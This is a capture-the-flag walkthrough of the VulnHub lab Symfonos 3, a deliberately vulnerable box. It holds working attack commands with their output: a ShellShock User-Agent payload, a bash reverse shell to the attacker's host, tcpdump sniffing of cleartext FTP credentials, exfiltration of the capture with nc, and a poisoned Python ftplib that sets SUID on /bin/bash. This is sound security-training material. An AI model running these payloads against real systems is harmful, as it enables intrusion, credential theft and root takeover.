the_open_door
coffee
ESEN

Symfonos 3

VulnHubEasyLinux192.168.1.155

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#vulnhub#cgi#shellshock#cve-2014-6271#rce#pspy#pcap#tcpdump#ftp#network-sniffing#python-library-hijack#sudo
TL;DR. A gobuster --add-slash uncovers a /cgi-bin/ with an underworld endpoint that returns the output of a system command: ShellShock. Injecting the payload into the User-Agent gets us RCE as cerberus. That user is in the pcap group, so with pspy we see root running an internal FTP client and with tcpdump we capture its cleartext credentials: hades:PTpZTfU4vxgzvRBE. As hades, the gods group can write to the python2.7 libraries; that FTP client imports ftplib, so we inject code into the library and root's cron hands us a SUID bash.

Recon

Finding the box on the local network

Symfonos 3 is a VulnHub box deployed on the local network, so the first task is not port scanning but working out which IP it got. arp-scan sends ARP requests across the whole segment and returns the MACs that answer, with the vendor resolved from the OUI file:

sudo arp-scan -I eth0 --localnet --ignoredups --macfile=/usr/share/arp-scan/ieee-oui.txt

arp-scan on eth0 listing the local network hosts; 192.168.1.155 shows up with MAC 00:0c:29:94:6b:81 and vendor VMware, Inc.

Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:4d:d4, IPv4: 192.168.1.80
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1     2c:70:4f:14:4e:c7       (Unknown)
192.168.1.129   b0:a4:60:cf:91:26       Intel Corporate
192.168.1.155   00:0c:29:94:6b:81       VMware, Inc.
192.168.1.138   f4:03:2a:28:e7:36       Amazon Technologies Inc.
192.168.1.142   98:01:a7:8a:fa:55       Apple, Inc.
192.168.1.128   74:e2:0c:8f:1e:6f       Amazon Technologies Inc.
192.168.1.136   a4:77:33:d7:4d:4c       Google, Inc.
192.168.1.135   56:bc:f4:cd:a2:af       (Unknown: locally administered)

12 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.503 seconds (102.28 hosts/sec). 8 responded

The other addresses are real devices on the network (a router, a laptop, a phone, speakers), but 192.168.1.155 answers with a VMware, Inc. MAC: it is a virtual machine, and the only one on the segment we do not recognise. That is the target. Our own IP, the one every reverse shell from here on will point at, is 192.168.1.80.

TTL: which operating system we are facing

A single ping does more than confirm the host is alive. The TTL field of the ICMP reply starts at a different value depending on the OS (64 on Linux/Unix, 128 on Windows) and is decremented by one on every network hop:

ping -c 1 192.168.1.155

ping to 192.168.1.155 replying with ttl=64 in 0.466 ms

PING 192.168.1.155 (192.168.1.155) 56(84) bytes of data.
64 bytes from 192.168.1.155: icmp_seq=1 ttl=64 time=0.466 ms

--- 192.168.1.155 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.466/0.466/0.466/0.000 ms

An undecremented ttl=64 points to Linux and zero intermediate hops (we are on the same segment, consistent with the arp-scan). It is an indicator, not proof: the TTL can be spoofed and routers modify it, but it steers the enumeration from minute one.

Initial scan

The full port scan runs from a .zshrc function that asks for the IP and walks all 65535 TCP ports with -sS (SYN scan) and --min-rate 5000:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.1.155 -oG scan

nmap -p- discovering ports 21, 22 and 80 open on 192.168.1.155, all with syn-ack ttl 64

Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-15 14:55 CET
Discovered open port 21/tcp on 192.168.1.155
Discovered open port 22/tcp on 192.168.1.155
Discovered open port 80/tcp on 192.168.1.155
Completed SYN Stealth Scan at 14:55, 6.58s elapsed (65535 total ports)
Nmap scan report for 192.168.1.155
Host is up, received arp-response (0.0017s latency).
Not shown: 65532 closed ports (reset)
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 64
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 00:0C:29:94:6B:81 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 6.83 seconds

Only three open ports out of 65535, all three with ttl 64, confirming what the ping showed. A second .zshrc function extracts the ports from the greppable file and drops them on the clipboard, which is where the 21,22,80 in the next command comes from:

extractPorts scan

extractPorts reading the scan file and returning IP Address 192.168.1.155 and Open ports 21,22,80

Extracting information...
IP Address: 192.168.1.155
Open ports: 21,22,80

Ports copied to clipboard

With the port list, the targeted version and default-script scan:

nmap -p21,22,80 -sCV 192.168.1.155

nmap -sCV showing ProFTPD 1.3.5b on 21, OpenSSH 7.4p1 Debian 10+deb9u6 on 22 and Apache httpd 2.4.25 on 80

PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.5b
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 cd:64:72:76:80:51:7b:a8:c7:fd:b2:66:fa:b6:98:0c (RSA)
|   256 74:e5:9a:5a:4c:16:90:ca:d8:f7:c7:78:e7:5a:86:81 (ECDSA)
|_  256 3c:e4:0b:b9:db:bf:01:8a:b7:9c:42:bc:cb:1e:41:6b (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.25 (Debian)
MAC Address: 00:0C:29:94:6B:81 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Three facts worth noting even if we do not yet know whether they matter:

  • ProFTPD 1.3.5b on 21. That version carries the mod_copy flaw (SITE CPFR/SITE CPTO) that allows copying files without authenticating, so it stays on the list as a fallback vector.
  • OpenSSH 7.4p1 on 22, from 2016. Old OpenSSH branches are prone to user enumeration, useful if we later get a list of names to validate.
  • Apache 2.4.25 on Debian 9 on 80, and an empty http-title: the landing page does not even have a title, which already suggests this is not an application but something far simpler.

Neither of the first two ends up being the way in, but they get noted: the FTP version will come back later, though through a route that has nothing to do with exploiting it.

Port 80: what is on the web

Before fuzzing routes, we fingerprint the stack:

whatweb 192.168.1.155

whatweb returning 200 OK, Apache 2.4.25, HTTPServer Debian Linux and the IP 192.168.1.155

http://192.168.1.155 [200 OK] Apache[2.4.25], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[192.168.1.155]

No CMS, no framework, no server-side language detected: just Apache. Wappalyzer in the browser confirms exactly the same (Apache 2.4.25 on Debian, not one technology more), and the page itself is only a full-screen illustration of a Cerberus:

The 192.168.1.155 landing page showing a full-screen Cerberus illustration; the Wappalyzer panel only detects Apache HTTP Server 2.4.25 and Debian

When a site has no technology to enumerate, the next place to look is the source:

The landing page source: minimal HTML with an img src="image.jpg" and the comment "Can you bust the underworld?"

<html>
<head>
<style>
html,body{
    margin:0;
    height:100%;
}
img{
  display:block;
  width:100%; height:100%;
  object-fit: cover;
}
</style>
</head>
<body>

<img src="image.jpg">

<!-- Can you bust the underworld? -->

</body>
</html>

Twenty-two lines of HTML, one image and one comment: Can you bust the underworld?. It is not themed decoration: bust in the slang of these boxes means directory brute forcing, and underworld is a concrete word worth keeping to hand once routes start appearing.

Web fuzzing: two tools and three dead ends

We start with dirsearch and gobuster against the root:

dirsearch -u http://192.168.1.155/ --exclude-status=403,404
gobuster dir -u http://192.168.1.155 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100

dirsearch finishing with "Task Completed" and no findings at all, followed by gobuster finding /gate with status 301 and /server-status with 403

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://192.168.1.155/

[15:02:37] Starting:
Task Completed
===============================================================
Gobuster v3.6
===============================================================
[+] Url:            http://192.168.1.155
[+] Method:         GET
[+] Threads:        100
[+] Wordlist:       /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:     gobuster/3.6
[+] Timeout:        10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/gate                 (Status: 301) [Size: 313] [--> http://192.168.1.155/gate/]
/server-status        (Status: 403) [Size: 278]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

The contrast is worth pausing on: dirsearch finds absolutely nothing (it ends with a clean Task Completed, not a single result line) while gobuster does pull out /gate. It is not that one tool is better: its default wordlist (11460 words) does not contain gate, while SecLists' directory-list-2.3-medium (220561) does. When a fuzz comes back empty, the first thing to question is the wordlist, not whether routes exist.

So we enumerate inside /gate:

gobuster dir -u http://192.168.1.155/gate -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100

gobuster on /gate finding a single directory, /cerberus, with status 301

[+] Url:            http://192.168.1.155/gate
[+] Wordlist:       /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
/cerberus             (Status: 301) [Size: 322] [--> http://192.168.1.155/gate/cerberus/]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished

And a third pass inside /gate/cerberus/, this time with the big wordlist (1.27 million words) in case the next route were something unusual:

gobuster dir -u http://192.168.1.155/gate/cerberus/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100

gobuster with the big wordlist against /gate/cerberus/ completing 1273833 requests without a single result

[+] Url:            http://192.168.1.155/gate/cerberus/
[+] Wordlist:       /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 1273833 / 1273834 (100.00%)
===============================================================
Finished

A million and a quarter requests, zero results. The /gate/cerberus/ branch ends there.

Before writing it off completely, we look at what those two pages contain and at their source, because the landing page comment proved the HTML can carry information the site does not render:

The /gate/ page showing an illustration of burning ruins; Wappalyzer still only detects Apache 2.4.25 and Debian

The /gate/ source: the same 20-line HTML with an img src="image.jpg", this time with no comment at all

The /gate/cerberus/ page showing an illustration of a three-headed Cerberus over a fiery background

The /gate/cerberus/ source: identical to /gate/, an img src="image.jpg" and no comment

Both pages are exact clones of the landing page (same CSS block, same <img src="image.jpg">) and neither carries a comment. Only the JPG changes. In other words: /gate and /gate/cerberus are themed scenery, a three-level-deep decoy. We note them as a dead end and back out.

The --add-slash trick

With the themed branch exhausted, the question is whether the root fuzz missed something. We repeat the three scans, but adding --add-slash, which requests every wordlist entry with a trailing slash (/word/ instead of /word):

gobuster dir -u http://192.168.1.155/gate/cerberus/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --add-slash
gobuster dir -u http://192.168.1.155/gate/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --add-slash
gobuster dir -u http://192.168.1.155 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --add-slash

Three gobuster runs with --add-slash; the last one, against the root, reveals /cgi-bin/ with status 403, /icons/, /gate/ and /server-status/

[+] Url:            http://192.168.1.155/gate/cerberus/     [Add Slash: true]
Progress: 220563 / 220564 (100.00%)   ->  (no results)

[+] Url:            http://192.168.1.155/gate/              [Add Slash: true]
/cerberus/            (Status: 200) [Size: 202]
Progress: 220563 / 220564 (100.00%)

[+] Url:            http://192.168.1.155                    [Add Slash: true]
/cgi-bin/             (Status: 403) [Size: 278]
/icons/               (Status: 403) [Size: 278]
/gate/                (Status: 200) [Size: 202]
/server-status/       (Status: 403) [Size: 278]
Progress: 220563 / 220564 (100.00%)

There is what was missing: /cgi-bin/. Without the trailing slash, Apache answered /cgi-bin with a 404 (no file by that name exists), and 404 is precisely the code gobuster filters by default. With the slash, the server treats it as a directory and returns 403 Forbidden, which is a finding: 403 means "it exists but I will not let you list it". That one-character nuance is what separated this box from getting stuck.

And a /cgi-bin/ is a very specific signal: it is the directory where Apache executes scripts instead of serving them. If those scripts are written in Bash, the box smells of ShellShock before we have tried anything.

gobuster dir -u http://192.168.1.155/cgi-bin/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100

gobuster on /cgi-bin/ finding /underworld with status 200 and size 62

[+] Url:            http://192.168.1.155/cgi-bin/
[+] Wordlist:       /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/underworld           (Status: 200) [Size: 62]

/cgi-bin/underworld, exactly the word the landing page comment announced, answering 200 with 62 bytes. The /gate/cerberus decoy was themed; the real hint was in the HTML all along.

An endpoint returning command output

We visit the route:

The /cgi-bin/underworld endpoint returning "10:30:32 up 1:49, 0 users, load average: 0.00, 4.56, 21.50"

10:30:32 up 1:49,  0 users,  load average: 0.00, 4.56, 21.50

It is not a web page: it is the literal output of uptime. And it changes on reload:

The same endpoint after a reload, now with "10:32:10 up 1:50, 0 users, load average: 0.00, 3.32, 19.40"

10:32:10 up 1:50,  0 users,  load average: 0.00, 3.32, 19.40

A minute and forty between the two loads, with the load averages dropping. Confirmed: every request runs the command on the server and returns its stdout. A CGI script calling a system binary, on Apache over Debian 9, is the textbook ShellShock setup.

Shell as cerberus

ShellShock on /cgi-bin/underworld

When Apache executes a CGI script it passes the HTTP request headers as environment variables (the User-Agent reaches the script as HTTP_USER_AGENT). If the script is Bash, that Bash inherits the variables before running a single line of its own.

ShellShock (CVE-2014-6271) exploits how Bash imported functions from environment variables. The payload has this shape for a reason:

  • () declares a function.
  • { :; } is its body, with : as a no-op: the function does nothing.
  • ; closes the definition, and everything after it runs immediately when Bash processes the variable, before the script runs. That is the bug: Bash evaluated the text following the closing brace instead of stopping there.

The extra echo emits the blank line that separates headers from body in HTTP; without it the server might discard the output as a malformed header.

curl http://192.168.1.155/cgi-bin/underworld -H "User-Agent: () { :; }; echo; /usr/bin/id"

curl with the ShellShock payload in the User-Agent against /cgi-bin/underworld returning uid=1001(cerberus) with the www-data and pcap groups

uid=1001(cerberus) gid=1001(cerberus) groups=1001(cerberus),33(www-data),1003(pcap)

Command execution confirmed, and the output already brings two gifts: we do not run as www-data but as cerberus, and that user belongs to 1003(pcap), the group that allows capturing network traffic. We keep that fact, because it will decide the whole escalation.

With RCE, the next step is swapping id for a reverse shell. Listener on the attacker box first:

nc -nlvp 4444

And from another terminal, the same payload with a Bash shell pointed at our 192.168.1.80:4444:

curl http://192.168.1.155/cgi-bin/underworld -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.80/4444 0>&1'"

The terminal running the curl with the reverse shell in the User-Agent and hanging without returning the prompt

(root@kali)-[/home/krmena/vulnhub/symfonos3/exploits]
# curl http://192.168.1.155/cgi-bin/underworld -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.80/4444 0>&1'"

The curl hangs without returning the prompt, which is exactly what we want: the connection is still alive because the shell is on the other end. On the listener:

nc catches the ShellShock reverse shell; id shows cerberus in the 1003(pcap) group and ls lists underworld in cgi-bin

listening on [any] 4444 ...
connect to [192.168.1.80] from (UNKNOWN) [192.168.1.155] 44984
bash: no job control in this shell
cerberus@symfonos3:/usr/lib/cgi-bin$ id
uid=1001(cerberus) gid=1001(cerberus) groups=1001(cerberus),33(www-data),1003(pcap)
cerberus@symfonos3:/usr/lib/cgi-bin$ ls
underworld

The shell lands in /usr/lib/cgi-bin, the working directory of the CGI script.

TTY treatment

The nc shell has no terminal attached: no history, no autocompletion, no Ctrl+C without killing the connection, and any interactive program (like the nano we will need at the end) breaks. The standard treatment:

script /dev/null -c bash
# Ctrl+Z to suspend
stty raw -echo; fg
export TERM=xterm SHELL=bash
stty rows 49 cols 211
reset xterm

TTY treatment sequence: script /dev/null -c bash, Ctrl+Z, stty raw -echo; fg, export TERM and stty rows 49 cols 211

cerberus@symfonos3:/usr/lib/cgi-bin$ script /dev/null -c bash
Script started, file is /dev/null
cerberus@symfonos3:/usr/lib/cgi-bin$ ^Z
zsh: suspended  nc -nlvp 4444
                                                                          
┌──(krmena㉿kali)-[~/vulnhub/symfonos3]
└─$ stty raw -echo; fg
[1]  + continued  nc -nlvp 4444

cerberus@symfonos3:/usr/lib/cgi-bin$ export TERM=xterm SHELL=bash
cerberus@symfonos3:/usr/lib/cgi-bin$ stty rows 49 cols 211
cerberus@symfonos3:/usr/lib/cgi-bin$ reset xterm

With the TTY sorted, a look at the script that let us in:

alias ls="ls -la"
ls

ls -la in /usr/lib/cgi-bin showing underworld as a 63-byte -rwxr-xr-x file owned by root, dated Jul 20 2019

total 12
drwxr-xr-x  2 root root 4096 Jul 20  2019 .
drwxr-xr-x 52 root root 4096 Apr  6  2020 ..
-rwxr-xr-x  1 root root   63 Jul 20  2019 underworld

63 bytes: the whole script is barely more than one line of Bash calling uptime. It matches the 62 bytes gobuster reported for the HTTP response, and the fact that it is owned by root yet executes as cerberus.

Access as hades

pspy: an FTP client run by root

With an unprivileged shell, the question is what runs on the box that we cannot see. pspy answers that: it watches the process table without needing root, so it catches cron jobs and short-lived processes a one-off ps would miss. We grab it from its official repository:

The pspy v1.2.1 releases page on GitHub, with the pspy32, pspy32s, pspy64 and pspy64s binaries

Of the four binaries we pick pspy64 (2.96 MB) because the target is 64-bit; the s variants are the statically compiled, smaller ones. We serve it from the attacker box:

python3 -m http.server 80

python3 -m http.server 80 logging the GET /pspy64 request from 192.168.1.155 with code 200

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.1.155 - - [15/Feb/2025 19:28:25] "GET /pspy64 HTTP/1.1" 200 -

And pull it onto the target, into /tmp because it is world-writable:

cd /tmp
wget http://192.168.1.80/pspy64
chmod +x pspy64

wget downloading pspy64 (3.1 MB) into the target's /tmp and chmod +x on the binary

--2025-02-15 12:28:25--  http://192.168.1.80/pspy64
Connecting to 192.168.1.80:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: 'pspy64'

pspy64          100%[===================>]   2.96M  60.2MB/s    in 0.05s

2025-02-15 12:28:25 (60.2 MB/s) - 'pspy64' saved [3104768/3104768]

We leave it running for a couple of minutes:

./pspy64

pspy showing root processes (UID=0): /bin/sh -c /usr/bin/python2.7 /opt/ftpclient/ftpclient.py and a curl to statuscheck

2025/02/15 12:30:17 CMD: UID=0    PID=2      |
2025/02/15 12:30:17 CMD: UID=0    PID=1      | /sbin/init
2025/02/15 12:31:01 CMD: UID=0    PID=51633  | /usr/sbin/CRON -f
2025/02/15 12:31:01 CMD: UID=0    PID=51635  | /bin/sh -c /usr/bin/curl --silent -I 127.0.0.1 > /opt/ftpclient/statuscheck.txt
2025/02/15 12:32:01 CMD: UID=0    PID=51637  | /usr/sbin/cron -f
2025/02/15 12:32:01 CMD: UID=0    PID=51641  | /bin/sh -c /usr/bin/curl --silent -I 127.0.0.1 > /opt/ftpclient/statuscheck.txt
2025/02/15 12:32:01 CMD: UID=0    PID=51640  | /bin/sh -c /usr/bin/python2.7 /opt/ftpclient/ftpclient.py
2025/02/15 12:32:01 CMD: UID=1000 PID=51642  | proftpd: (accepting connections)
2025/02/15 12:32:02 CMD: UID=105  PID=51644  | /usr/sbin/sendmail -i -FCronDaemon -B8BITMIME -oem root
2025/02/15 12:32:02 CMD: UID=1000 PID=51645  | /usr/sbin/exim4 -Mc 1tjMxO-000DQx-0j

Every minute, root (UID=0) launches two tasks: a curl to 127.0.0.1 that saves the headers into statuscheck.txt, and python2.7 /opt/ftpclient/ftpclient.py. An FTP client running as root means someone is authenticating against the local ProFTPD. And FTP is a cleartext protocol: the password travels as-is inside a PASS command.

This is where the fact we kept from the first id fits: cerberus belongs to pcap, the group that grants tcpdump capture permissions without being root. We have the traffic and we have the sniffer.

Credential capture with tcpdump

The FTP client connects to 127.0.0.1, so the traffic never leaves through eth0: we have to listen on the loopback interface. We leave tcpdump running until the next minute's cron fires and stop it with Ctrl+C:

tcpdump -i lo -w capture.cap -v

tcpdump listening on lo, stopped with Ctrl+C after capturing 25 packets and 50 received by the filter

tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
^C25 packets captured
50 packets received by filter
0 packets dropped by kernel

25 packets is exactly what a short FTP session takes (banner, USER, PASS, CWD, STOR, QUIT). We pull the capture back to the attacker with a bare nc, redirecting the file over the socket. The receiver goes up first:

nc -nlvp 443 > Captura.cap

And from the target:

nc 192.168.1.80 443 < capture.cap

nc sending capture.cap to port 443 on the attacker from the target's /tmp, returning the prompt when done

cerberus@symfonos3:/tmp$ nc 192.168.1.80 443 < capture.cap
cerberus@symfonos3:/tmp$

The transfer returns the prompt without printing anything, which is nc's normal behaviour once it has finished dumping the file. On the attacker, tshark filters the ftp dissector over the capture:

tshark -r Captura.cap -Y "ftp" 2>/dev/null

tshark filtering the FTP traffic from the capture: USER hades, PASS PTpZTfU4vxgzvRBE and the full session against ProFTPD 1.3.5b

listening on [any] 443 ...
connect to [192.168.1.80] from (UNKNOWN) [192.168.1.155] 60100
^C

14   0.021265   127.0.0.1 -> 127.0.0.1   FTP 121 Response: 220 ProFTPD 1.3.5b Server (Debian) [::ffff:127.0.0.1]
16   0.021352   127.0.0.1 -> 127.0.0.1   FTP 78 Request: USER hades
18   0.023680   127.0.0.1 -> 127.0.0.1   FTP 99 Response: 331 Password required for hades
19   0.023732   127.0.0.1 -> 127.0.0.1   FTP 89 Request: PASS PTpZTfU4vxgzvRBE
20   0.035633   127.0.0.1 -> 127.0.0.1   FTP 92 Response: 230 User hades logged in
21   0.035702   127.0.0.1 -> 127.0.0.1   FTP 81 Request: CWD /srv/ftp/
22   0.035870   127.0.0.1 -> 127.0.0.1   FTP 94 Response: 250 CWD command successful

The whole session in cleartext, including the 230 User hades logged in that confirms authentication works. Credentials: hades:PTpZTfU4vxgzvRBE. Here the ProFTPD 1.3.5b from the initial nmap reappears, not as a vulnerability to exploit but as the service that hands us a password.

As usual, a service password often works at the system level too:

su hades
id
sudo -l

su hades accepting the password; id shows uid=1000(hades) with group 1002(gods) and sudo -l returns "sudo: command not found"

Password:
hades@symfonos3:/tmp$ id
uid=1000(hades) gid=1000(hades) groups=1000(hades),1002(gods)
hades@symfonos3:/tmp$ sudo -l
bash: sudo: command not found

Two things. First: sudo is not even installed on the box, so the usual escalation vector is ruled out from the start, not for lack of permissions but for lack of a binary. Second, and the one that matters: hades belongs to 1002(gods), a custom group that ships with no distribution. A group invented by the box author always means something has been assigned to it.

Privilege escalation

What the gods group owns

We look for files owned by gods that we can write to:

find / -group gods -type f -writable 2>/dev/null

find returning dozens of .py and .pyc files under /usr/lib/python2.7 owned by the gods group and writable

/usr/lib/python2.7/numbers.py
/usr/lib/python2.7/mailbox.py
/usr/lib/python2.7/plistlib.pyc
/usr/lib/python2.7/pydoc.pyc
/usr/lib/python2.7/SimpleHTTPServer.py
/usr/lib/python2.7/textwrap.py
/usr/lib/python2.7/wave.pyc
/usr/lib/python2.7/tokenize.pyc
/usr/lib/python2.7/functools.pyc
/usr/lib/python2.7/colorsys.py
/usr/lib/python2.7/zipfile.py
/usr/lib/python2.7/asynchat.pyc
...

The entire python2.7 standard library is writable by gods. On its own that does nothing: we need to find which module a privileged process imports. And we already know from the pspy: root runs a Python FTP client every minute. We filter:

find / -group gods -type f -writable 2>/dev/null | grep ftp

The same find filtered by ftp returning /usr/lib/python2.7/ftplib.pyc and /usr/lib/python2.7/ftplib.py

/usr/lib/python2.7/ftplib.pyc
/usr/lib/python2.7/ftplib.py

ftplib.py is writable. But that is still an assumption until we see root's script actually import it, so we check instead of taking it for granted:

cat /opt/ftpclient/ftpclient.py

cat of /opt/ftpclient/ftpclient.py showing "import ftplib" on the first line and the hades/PTpZTfU4vxgzvRBE credentials in the ftp.login call

import ftplib

ftp = ftplib.FTP('127.0.0.1')
ftp.login(user='hades', passwd='PTpZTfU4vxgzvRBE')

ftp.cwd('/srv/ftp/')

def upload():
    filename = '/opt/client/statuscheck.txt'
    ftp.storbinary('STOR '+filename, open(filename, 'rb'))
    ftp.quit()

upload()

Confirmed on line one: import ftplib. Along the way, the script explains the rest of the puzzle: it is the one generating the FTP traffic to 127.0.0.1 we captured, it carries the same credentials we pulled out of the pcap (we could have read them here, but we had no access as hades until we got them) and it uploads the statuscheck.txt the other curl cron produces.

Hijacking the ftplib library

We have the three conditions for a library hijack: a privileged process that imports a module, write access to that module, and periodic execution that saves us from having to trigger it. We edit ftplib.py and place the payload right at the top, ahead of the original code, so it runs the moment Python interprets the file:

nano /usr/lib/python2.7/ftplib.py

nano editing /usr/lib/python2.7/ftplib.py with import os, import sys and os.system("chmod u+s /bin/bash") inserted at the top of the module

"""
python ftplib.py -d localhost -l -p -l
"""

#
# Changes and improvements suggested by Steve Majewski.
# Modified by Jack to work on the mac.
# Modified by Siebren to support docstrings and PASV.
# Modified by Phil Schwartz to add storbinary and storlines callbacks.
# Modified by Giampaolo Rodola' to add TLS support.
#

import os
import sys

os.system("chmod u+s /bin/bash")

# Import SOCKS module if it exists, else standard socket module socket
try:

The payload of choice is chmod u+s /bin/bash: instead of a reverse shell (which would depend on having a listener alive in exactly the right minute), it sets the SUID bit on /bin/bash. It is persistent, it makes no network noise and we can use it whenever we like.

Now we just wait for the next cron cycle. watch repeats the ls every two seconds so we catch the change the moment it happens:

watch ls -l /bin/bash

watch showing /bin/bash with -rwsr-xr-x permissions, that is, with the SUID bit already applied

Every 2.0s: ls -l /bin/bash

-rwsr-xr-x 1 root root 975488 Dec 29  2012 /bin/bash

The s in -rw**s**r-xr-x (where an x used to be) confirms root's cron imported our poisoned ftplib.py and ran the chmod. One essential detail remains: Bash has to be launched with -p, because without that flag Bash notices the real and effective UIDs differ and voluntarily drops the privilege, leaving us with a plain shell.

bash -p
id
cd /root/
cat proof.txt

bash -p returning a bash-4.2# prompt, id with euid=0(root) and the cat of /root/proof.txt with the Cerberus ASCII art

hades@symfonos3:/tmp$ bash -p
bash-4.2# id
uid=1000(hades) gid=1000(hades) euid=0(root) groups=1000(hades),1002(gods)
bash-4.2# ls
captura.cap  pspy64
bash-4.2# cd /root/
bash-4.2# ls
proof.txt
bash-4.2# cat proof.txt

	Congrats on rooting symfonos:3!

	Contact me via Twitter @zayotic to give feedback!

The id shows the exact signature of a SUID binary: the real UID is still 1000(hades) but the euid=0(root) is the one that decides permissions. Box rooted.

Attack chain

arp-scan  ->  192.168.1.155 (VMware)  ->  nmap -p-  ->  21/22/80
    └─> HTML comment "Can you bust the underworld?"
            └─> gobuster --add-slash  ->  /cgi-bin/ (403, invisible without the slash)
                    └─> /cgi-bin/underworld (runs uptime)
                            └─> ShellShock in User-Agent  ->  RCE as cerberus (pcap group)
                                    └─> pspy  ->  root cron: python2.7 ftpclient.py
                                            └─> tcpdump -i lo + tshark  ->  hades:PTpZTfU4vxgzvRBE
                                                    └─> gods group  ->  writable ftplib.py
                                                            └─> library injection  ->  root cron
                                                                    └─> SUID bash  ->  bash -p  ->  root

Lessons learned

  • --add-slash changes what you see. /cgi-bin returned 404 (which gobuster filters) while /cgi-bin/ returns 403, which is a finding. A single character separated this box from getting stuck.
  • An empty fuzz is usually the wordlist's fault. dirsearch found nothing with its 11460 words while gobuster pulled /gate out of 220561; before concluding there are no routes, change the list.
  • Dead ends get documented too. /gate and /gate/cerberus were clones of the landing page, and a 1.27-million-request scan inside the second returned nothing. Ruling a branch out is part of the job.
  • A /cgi-bin running commands is ShellShock until proven otherwise. The vector is placing the payload in a header the CGI dumps into the environment as a variable.
  • The pcap group turns a user into a sniffer. With internal processes authenticating in cleartext (FTP against loopback), tcpdump on lo plus tshark are enough to steal credentials.
  • A group that exists in no distribution is a lead. gods is not standard: if the author invented it, something is assigned to it, and find -group finds it in one command.
  • Write access to a Python library is deferred RCE. If a privileged process imports it, the injected code runs with its privileges; the cron only decides when.
  • After a chmod u+s, launch the shell with -p. Without that flag Bash discards the privileged euid and the whole effort is wasted.
Command cheatsheet 10 commands

Quick review